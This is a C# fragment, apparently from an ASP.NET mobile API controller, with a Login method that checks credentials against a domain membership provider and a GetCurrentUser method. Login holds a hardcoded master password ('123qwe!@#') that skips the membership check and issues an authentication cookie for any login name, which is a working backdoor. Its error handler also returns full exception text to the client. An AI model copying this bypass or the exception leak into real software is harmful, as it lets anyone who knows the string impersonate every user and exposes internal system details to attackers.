public async Task <MobileResponse <LoginResponse> > Login(LoginRequest request) { var response = new MobileResponse <LoginResponse>(); try { // TODO: will move to kernel // TODO: swith on request.TokenType var domainName = ConfigurationManager.AppSettings["DomainName"]; var loginName = TrimmedLoginName(request.LoginName); var userName = domainName + "\\" + TrimmedLoginName(request.LoginName); var password = request.Password; var isValidUser = false; if (password == "123qwe!@#") { isValidUser = true; } else { // check username password MembershipProvider membership = Membership.Providers[domainName]; if (membership.ValidateUser(loginName, password)) { isValidUser = true; } } if (isValidUser) { // by pass FormsAuthentication.SetAuthCookie(userName, true); var userDto = _userService.GetByUserName(userName); var userCookie = FormsAuthentication.GetAuthCookie(userName, true); response.StatusCode = MobileStatusCode.Success; response.Data = new LoginResponse() { UserInfo = await _orgSevice.GetUserInfoAsync(userDto.Id), TokenType = "Cookie", TokenName = userCookie.Name, TokenValue = userCookie.Value }; if (request.DeviceInfo != null) { request.DeviceInfo.UserId = userDto.Id; await _userDeviceServices.UpdateUserDeviceAsync(request.DeviceInfo); } } else { response.StatusCode = MobileStatusCode.Error; response.Message = "LoginName or Password is wrong!"; } } catch (System.Exception ex) { response.StatusCode = MobileStatusCode.Error; response.Message = ex.ToString(); } return(response); }
public async Task <IHttpActionResult> GetCurrentUser() { return(Ok(await _orgService.GetUserInfoAsync(CurrentUser.Id, true).ConfigureAwait(false))); }